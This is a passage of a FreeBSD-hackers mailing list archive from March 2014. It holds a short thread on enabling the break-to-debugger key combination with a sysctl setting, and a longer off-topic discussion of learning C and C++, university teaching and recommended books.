Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AFF8994E for ; Tue, 18 Mar 2014 05:14:43 +0000 (UTC) Received: from cain.gsoft.com.au (cain.gsoft.com.au [203.31.81.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 33AE9A85 for ; Tue, 18 Mar 2014 05:14:42 +0000 (UTC) Received: from ur.gsoft.com.au (Ur.gsoft.com.au [203.31.81.34]) (authenticated bits=0) by cain.gsoft.com.au (8.14.4/8.14.3) with ESMTP id s2I5EQGe090024 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Tue, 18 Mar 2014 15:44:31 +1030 (CST) (envelope-from doconnor@gsoft.com.au) From: "Daniel O'Connor" Content-Type: multipart/signed; boundary="Apple-Mail=_11182039-D00B-432A-963C-23B6E37ABA05"; protocol="application/pgp-signature"; micalg=pgp-sha1 Date: Tue, 18 Mar 2014 15:44:25 +1030 Subject: Break to debugger broken? To: FreeBSD Hackers Message-Id: Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) X-Spam-Score: -2.51 () ALL_TRUSTED,BAYES_00,T_RP_MATCHES_RCVD X-Scanned-By: MIMEDefang 2.67 on 203.31.81.10 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 05:14:43 -0000 --Apple-Mail=_11182039-D00B-432A-963C-23B6E37ABA05 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii I have a 9-STABLE system I am debugging something on and I've found that = ctrl-alt-esc doesn't break into DDB. Ctrl-alt-del works to reboot = though. I can enter DDB by running 'sysctl debug.kdb.enter=3D1' and = hw.syscons.kbd_debug is set to 1. kbdcontrol -d shows.. # alt # scan cntrl alt alt cntrl lock # code base shift cntrl shift alt shift cntrl shift state # ------------------------------------------------------------------ 000 nop nop nop nop nop nop nop nop O 001 esc esc esc esc esc esc debug esc O 002 '1' '!' nop nop '1' '!' nop nop O ... 083 del '.' '.' '.' '.' '.' boot boot N ... Any ideas? -- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum GPG Fingerprint - 5596 B766 97C0 0E94 4347 295E E593 DC20 7B3F CE8C --Apple-Mail=_11182039-D00B-432A-963C-23B6E37ABA05 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iD8DBQFTJ9Yx5ZPcIHs/zowRAvCHAJ9bo13ab0G/jWWVjWmyKjKIAXyg+QCfUNf+ 5DXwNX9EvH3aPCz2A14bULE= =v0eC -----END PGP SIGNATURE----- --Apple-Mail=_11182039-D00B-432A-963C-23B6E37ABA05-- From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 07:16:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8EC2666E for ; Tue, 18 Mar 2014 07:16:28 +0000 (UTC) Received: from cain.gsoft.com.au (cain.gsoft.com.au [203.31.81.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id EBDAF33A for ; Tue, 18 Mar 2014 07:16:27 +0000 (UTC) Received: from ur.gsoft.com.au (Ur.gsoft.com.au [203.31.81.34]) (authenticated bits=0) by cain.gsoft.com.au (8.14.4/8.14.3) with ESMTP id s2I7GCEf000437 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Tue, 18 Mar 2014 17:46:17 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Content-Type: multipart/signed; boundary="Apple-Mail=_D7F99DD0-BE56-4E2E-9A85-43047897CFC3"; protocol="application/pgp-signature"; micalg=pgp-sha1 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Break to debugger broken? From: "Daniel O'Connor" In-Reply-To: Date: Tue, 18 Mar 2014 17:46:11 +1030 Message-Id: <612E221A-85A0-4FCC-854B-D710B47C8EDD@gsoft.com.au> References: To: FreeBSD Hackers X-Mailer: Apple Mail (2.1874) X-Spam-Score: -2.51 () ALL_TRUSTED,BAYES_00,T_RP_MATCHES_RCVD X-Scanned-By: MIMEDefang 2.67 on 203.31.81.10 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 07:16:28 -0000 --Apple-Mail=_D7F99DD0-BE56-4E2E-9A85-43047897CFC3 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On 18 Mar 2014, at 15:44, Daniel O'Connor wrote: > I have a 9-STABLE system I am debugging something on and I've found = that ctrl-alt-esc doesn't break into DDB. Ctrl-alt-del works to reboot = though. >=20 > I can enter DDB by running 'sysctl debug.kdb.enter=3D1' and = hw.syscons.kbd_debug is set to 1. > kbdcontrol -d shows.. > # alt > # scan cntrl alt alt cntrl lock > # code base shift cntrl shift alt shift cntrl shift state > # ------------------------------------------------------------------ > 000 nop nop nop nop nop nop nop nop O > 001 esc esc esc esc esc esc debug esc O > 002 '1' '!' nop nop '1' '!' nop nop O > ... > 083 del '.' '.' '.' '.' '.' boot boot N > ... >=20 > Any ideas? I found it, I didn't have debug.kdb.break_to_debugger set. -- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum GPG Fingerprint - 5596 B766 97C0 0E94 4347 295E E593 DC20 7B3F CE8C --Apple-Mail=_D7F99DD0-BE56-4E2E-9A85-43047897CFC3 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iD8DBQFTJ/K75ZPcIHs/zowRArY9AJ95s3ebophAv4bte38UdoTFAVp64gCgiC/1 PjZGaWi36QUZKw0X4gHg8f0= =/89R -----END PGP SIGNATURE----- --Apple-Mail=_D7F99DD0-BE56-4E2E-9A85-43047897CFC3-- From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 07:47:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E4667DB0 for ; Tue, 18 Mar 2014 07:47:21 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [69.164.206.65]) by mx1.freebsd.org (Postfix) with ESMTP id C415C7EA for ; Tue, 18 Mar 2014 07:47:21 +0000 (UTC) Received: from [172.20.10.2] (unknown [173.152.4.2]) (Authenticated sender: tyler) by tds-solutions.net (Postfix) with ESMTPSA id EBE1C1A01E; Tue, 18 Mar 2014 01:53:08 -0600 (MDT) Message-ID: <5327FA02.9060805@tysdomain.com> Date: Tue, 18 Mar 2014 03:47:14 -0400 From: "Littlefield, Tyler" User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Erich Dollansky Subject: Re: Something related to C and C++ References: <20140317180644.GI32089@funkthat.com> <20140318085859.2671ab46@X220.alogt.com> In-Reply-To: <20140318085859.2671ab46@X220.alogt.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" , John-Mark Gurney , by X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: tyler@tysdomain.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 07:47:22 -0000 On 3/17/2014 8:58 PM, Erich Dollansky wrote: > Hi, > > On Mon, 17 Mar 2014 11:06:44 -0700 > John-Mark Gurney wrote: > >> by wrote this message on Mon, Mar 17, 2014 at 10:20 +0800: >>> At last, I am not lead to a holy war between programming languages, >>> I just confused and want some related answers. This is it. >> Is there a question here related to FreeBSD? I couldn't find one even >> after reading it multiple times.. >> >> If you want to know about differents between C and C++ another forum >> is more appropriate than this... >> > he will get here real-life answers from people who create real > solutions with the programming language they are using. It doesn't look like that is what he wants, this seems to be more random discussion on which language is the best with some buzzwords thrown in and the weight of <<>> being directly perportional to the usefulness of a specific language... Erich _______________________________________________ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 07:49:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0C16BF6 for ; Tue, 18 Mar 2014 07:49:38 +0000 (UTC) Received: from tds-solutions.net (tds-solutions.net [69.164.206.65]) by mx1.freebsd.org (Postfix) with ESMTP id DBB13804 for ; Tue, 18 Mar 2014 07:49:37 +0000 (UTC) Received: from [172.20.10.2] (unknown [173.152.4.2]) (Authenticated sender: tyler) by tds-solutions.net (Postfix) with ESMTPSA id 30C3D1A031; Tue, 18 Mar 2014 01:55:30 -0600 (MDT) Message-ID: <5327FA91.9000907@tysdomain.com> Date: Tue, 18 Mar 2014 03:49:37 -0400 From: "Littlefield, Tyler" User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Erich Dollansky Subject: Re: Something related to C and C++ References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> <20140318090352.403e6f1f@X220.alogt.com> In-Reply-To: <20140318090352.403e6f1f@X220.alogt.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" , Johan Bucht , by X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: tyler@tysdomain.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 07:49:38 -0000 On 3/17/2014 9:03 PM, Erich Dollansky wrote: > Hi, > > On Tue, 18 Mar 2014 07:54:50 +0800 > by wrote: > >> I got no chance to learn in college, cause I will graduate this >> summer and I want find a job Unix-related, C-related, in my college, >> I had not learn much in C and Unix, cause my college use Windows, and >> not focus on C-related, and for me, I start learning these this year, >> and I think I prefer read books just a little everyday, it can make >> me continuously familiar with these material which I like work on. I >> got four books in my hand now: C related, Unix related, FreeBSD >> related, and C++ related. And I think that the src in FreeBSD base >> system is a good way to practice C, like some simple utilities: echo, >> ls, etc. And FreeBSD got many historical docs in base system, and I >> think it is a great way to understand FreeBSD or Unix world more. The >> only problem is that, I find no passion if I just learn, maybe this >> will change after I got a related job. > just take any small program of your choice and try to write it again. > You might look at the sources at the beginning but later you try to > write a program by just using 'man program' to get the description. The > closer your solution comes to the description, the better you are > getting. > > A question to the others. When I see these comments here, I wonder how > bad university education got over time. Is this here typical now or > just an exception. Universities can be pretty rough. I took a c++ course a couple years ago and it was rough since I'd taught myself a long time back. The teacher would talk about how specific ides like to "eat" files ending in .txt, etc. The best programmers are those who eat, breathe and dream in c++ and really want to learn: even with the best education, your motivation and ability to learn and explore is what makes you a good programmer IMO. A bad university might be a problem, but it's not the end of the world, by no means. Erich _______________________________________________ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" -- Take care, Ty http://tds-solutions.net He that will not reason is a bigot; he that cannot reason is a fool; he that dares not reason is a slave. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 07:57:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A935D40B for ; Tue, 18 Mar 2014 07:57:06 +0000 (UTC) Received: from nm11-vm2.bullet.mail.ir2.yahoo.com (nm11-vm2.bullet.mail.ir2.yahoo.com [212.82.96.163]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D1DCA8B7 for ; Tue, 18 Mar 2014 07:57:05 +0000 (UTC) Received: from [212.82.98.52] by nm11.bullet.mail.ir2.yahoo.com with NNFMP; 18 Mar 2014 07:56:58 -0000 Received: from [46.228.39.86] by tm5.bullet.mail.ir2.yahoo.com with NNFMP; 18 Mar 2014 07:56:58 -0000 Received: from [127.0.0.1] by smtp123.mail.ir2.yahoo.com with NNFMP; 18 Mar 2014 07:56:57 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.es; s=s1024; t=1395129417; bh=7wh0FDiLn+ayu5gBfcUH0e2lPo1HJ/pAAMcH8Ioe9GU=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Date:From:To:Subject:Message-Id:In-Reply-To:References:X-Mailer:Disposition-Notification-To:Mime-Version:Content-Type:Content-Transfer-Encoding; b=p66O3scyd30qM4JuQ28uIehKRyNxYcF35MYrvLMdhi0Zen7vLaq6HaRjdTAuQiJETA3sjlWd8gsFgcwtrXcMZ7l5nJceDlNEjl4uBAyC1+6xeMREee+68s7o6wvF9Df6n7PM6RN5f9BeanfPWoKutmF9xkpfuEXloErramgj+P0= X-Yahoo-Newman-Id: 978839.56870.bm@smtp123.mail.ir2.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: e3MWLN0VM1nyeHsm7V.4q49.JxDdf1iIJBQq2i2SFEGiUwA B5xy2RiaRDZpxZw4p_rnnNjIZoybomvVhEeh.hiHPbarleWjRrADDTuTPj9a TaoMFHFZwKT5Zu6J3uHutNiFzWuGUKAGPDkjwPVOUxQfwlK8g0K4Z6JMcg.V ddB_Vgm_r4oN_eQUYQimg4LFt_Y.1pWpVhzfHjF4yMZt1lZUf_GcR7ys0_af 1vC6m15ivg13pumM1JkLkhOJlrOYUUna81Oqvduu8W5lPCzSyUoI98NqUxBH cbFyHRF9yggfpHaTCjHuXi4IkM1Gtj7llcmpVWsxxfZlqiAZoiHa_X_SsgWl 09OieVm27jyH51K_qlSKv7W9RmclgmL3jJnHFc6ewUOXX9JHOiOawm3zpLzP rfDE67LKd4nutBvzfyFSWX48GWm9qWWoOx2U0x909qnzJHHYkHECerdoBCWI p0N3BNapRQI.Y51m3aaEqVHWX7fGwwVJQgP80ZCmj6JEcl3rOAc2N4BFz X-Yahoo-SMTP: mX392iiswBAeJNdO_s.EW62LZDJR X-Rocket-Received: from camibar.emorras.eu (emorrasg@85.219.45.142 with plain [63.250.193.228]) by smtp123.mail.ir2.yahoo.com with SMTP; 18 Mar 2014 07:56:57 +0000 UTC Date: Tue, 18 Mar 2014 08:56:53 +0100 From: Eduardo Morras To: freebsd-hackers@freebsd.org Subject: Re: Something related to C and C++ Message-Id: <20140318085653.22c83b981ec3551e563054a9@yahoo.es> In-Reply-To: <20140318090352.403e6f1f@X220.alogt.com> References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> <20140318090352.403e6f1f@X220.alogt.com> X-Mailer: Sylpheed 3.3.1 (GTK+ 2.24.22; amd64-portbld-freebsd9.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 07:57:06 -0000 On Tue, 18 Mar 2014 09:03:52 +0800 Erich Dollansky wrote: > A question to the others. When I see these comments here, I wonder how > bad university education got over time. Is this here typical now or > just an exception. They try to focus on market requirements. In language and platforms this means, in Spain, C# + Java, Windows and sometimes Linux. > > Erich --- --- Eduardo Morras From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 08:05:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C3AAD697 for ; Tue, 18 Mar 2014 08:05:56 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 96CE6974 for ; Tue, 18 Mar 2014 08:05:56 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=MGWaz5Ik3eILNB7wrn78vioKt9Eo+fdQ9gRm3ab6Zbk=; b=DUejnH5vIw0ucUqzLF54hDP5yX7T7+ZSYkxqjdugwgUHOiiy93YECyFVme0q6nNE76nQs4B19wus6kO1+u7kvRyYNfyxSBCKji0CGixuRIop2d5sSlO1pJXk0DRWOEeFK+ITcoZFauTFBxMQlTwJYXIiZ565rhiVL1aNCjyH6PQ=; Received: from [39.203.60.175] (port=27755 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WPp1w-000W8V-Go; Tue, 18 Mar 2014 02:05:49 -0600 Date: Tue, 18 Mar 2014 16:05:42 +0800 From: Erich Dollansky To: tyler@tysdomain.com Subject: Re: Something related to C and C++ Message-ID: <20140318160542.5c982133@X220.alogt.com> In-Reply-To: <5327FA91.9000907@tysdomain.com> References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> <20140318090352.403e6f1f@X220.alogt.com> <5327FA91.9000907@tysdomain.com> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: "freebsd-hackers@freebsd.org" , Johan Bucht , by X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 08:05:56 -0000 Hi, On Tue, 18 Mar 2014 03:49:37 -0400 "Littlefield, Tyler" wrote: > On 3/17/2014 9:03 PM, Erich Dollansky wrote: > > On Tue, 18 Mar 2014 07:54:50 +0800 > > by wrote: > > > > A question to the others. When I see these comments here, I wonder > > how bad university education got over time. Is this here typical > > now or just an exception. > > Universities can be pretty rough. I took a c++ course a couple years > ago and it was rough since I'd taught myself a long time back. The > teacher would talk about how specific ides like to "eat" files ending > in .txt, etc. The best programmers are those who eat, breathe and > dream in c++ and really want to learn: even with the best education, > your motivation and ability to learn and explore is what makes you a > good programmer IMO. A bad university might be a problem, but it's > not the end of the world, by no means. it might be the end of the world. Not tomorrow but later. Some time ago, it was normal that some 20% of a cohort finished education with a master's. I have read now that some countries are trying to get this number to 40%. Did the people get more capable or did the education got more lousy? Erich PS: we are really off the course when it comes to the idea behind this list. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 08:09:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 68F1C7A7 for ; Tue, 18 Mar 2014 08:09:24 +0000 (UTC) Received: from mout.gmx.net (mout.gmx.net [212.227.17.22]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id E6469996 for ; Tue, 18 Mar 2014 08:09:23 +0000 (UTC) Received: from mandree.no-ip.org ([78.49.236.143]) by mail.gmx.com (mrgmx103) with ESMTPSA (Nemesis) id 0LcBPV-1WofZR0veH-00jaQp for ; Tue, 18 Mar 2014 09:09:16 +0100 Received: from [IPv6:::1] (localhost6.localdomain6 [IPv6:::1]) by apollo.emma.line.org (Postfix) with ESMTP id E1DF723DA2F for ; Tue, 18 Mar 2014 09:09:14 +0100 (CET) Message-ID: <5327FF2A.7080301@gmx.de> Date: Tue, 18 Mar 2014 09:09:14 +0100 From: Matthias Andree User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Something related to C and C++ References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> <20140318090352.403e6f1f@X220.alogt.com> In-Reply-To: <20140318090352.403e6f1f@X220.alogt.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:qBJoZSaPR6TJJmV9ywPh7XKgjBJgZwYeIeu6s1xP1w/C5l6BMMg vOkHZJvcszLzxg/h3b8tfYsaVG9ApAMkTTEjG6zVsXxZs0S5HWYg7uj/jWo4UcgdaQT0oNj 0CcduD6W3RdaiJw/IAXWhtuw7NseFvt+LLkxdt12Qr9DfWZZ3RWrp3wBko9mGVR3EjjXJq/ jkotw2P3Ipy8oXxgFH9Xw== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 08:09:24 -0000 Am 18.03.2014 02:03, schrieb Erich Dollansky: > A question to the others. When I see these comments here, I wonder how > bad university education got over time. Is this here typical now or > just an exception. A pointed question instead of a reply: Is University education actually claiming to graduate programmers? In Germany, which is all I can report, you usually study subjects such as computer science, mechanical engineering, electrical engineering, information technology or thereabouts, but not programming. Discounting computer science, you often get to learn either in practically useless (for industry) languages like Pascal, or in rather high-level languages that abstract the machine, such as Java or C#. When studying computer science or information technology you may be lucky and get to learn basics of operating systems, queueing theory, semaphores and thereabouts, and if you choose the right focus for the advanced studies you can learn even a bit when studying, say, communications or electrical engineering. But the mandatory part in C-like programming is often pretty small. As an exception, a friend of mine actually had an off-the-job vocational/professional two-year training when his company went bankrupt leaving him unemployed, sponsored by the social system, and that training was really with a major focus on C# - but that was nothing with university education... Meaning it requires personal interest and initiative anyways, which free7by@yahoo.com is showing here. To the original poster, I think you're on the right track, and if you check your college library, I hope you'll find more practical approaches to C++ than "The C++ Programming Language" which I find hard to digest for a first-time learner that has not had much exposure to OOP. Note that many books you will find are about C++98 or earlier revisions and need to be updated for C++11. There are better books to get you started in C++, for instance Accelerated C++ (by Koenig and Moo) - which is not perfectly accurate nor complete, but helps to make first steps quickly, or the heavyweight Programming: Principles and Practice in C++ (by Stroustrup). Be sure to avoid older C++ books (before, say, 2005) that neglect namespaces, or neglect the Standard Template Library. Some books have been updated to C++11. A more comprehensive book list is at Hope that helps. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 08:12:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B002794C for ; Tue, 18 Mar 2014 08:12:55 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 83908A36 for ; Tue, 18 Mar 2014 08:12:55 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=0jt8UlAMWUmfI3+honKkDgqt+0LOXur3qhzhHFcLEE0=; b=ATTr2mHGmlrynvlhZnO+RandaQm2vbvboQXnH9xNaCNXTx0cAw37hJKshc71Z7/+l5UcP4/+cejlHb3Vfbn8FFw6DRBRm6ItP81BZrJxZ4XIFMlfpgN+qbBKbOah+1r24iXzWekrCF9xoe/ywqe8864H84DyIdHs5uAy6UdlObc=; Received: from [39.203.60.175] (port=17430 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WPp8n-000Zng-Py; Tue, 18 Mar 2014 02:12:54 -0600 Date: Tue, 18 Mar 2014 16:12:36 +0800 From: Erich Dollansky To: Eduardo Morras Subject: Re: Something related to C and C++ Message-ID: <20140318161236.35660c83@X220.alogt.com> In-Reply-To: <20140318085653.22c83b981ec3551e563054a9@yahoo.es> References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> <20140318090352.403e6f1f@X220.alogt.com> <20140318085653.22c83b981ec3551e563054a9@yahoo.es> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 08:12:55 -0000 Hi, On Tue, 18 Mar 2014 08:56:53 +0100 Eduardo Morras wrote: > On Tue, 18 Mar 2014 09:03:52 +0800 > Erich Dollansky wrote: > > > A question to the others. When I see these comments here, I wonder > > how bad university education got over time. Is this here typical > > now or just an exception. > > They try to focus on market requirements. In language and platforms > this means, in Spain, C# + Java, Windows and sometimes Linux. > that is not the idea behind an university. Erich From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 08:49:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 63310F42 for ; Tue, 18 Mar 2014 08:49:24 +0000 (UTC) Received: from 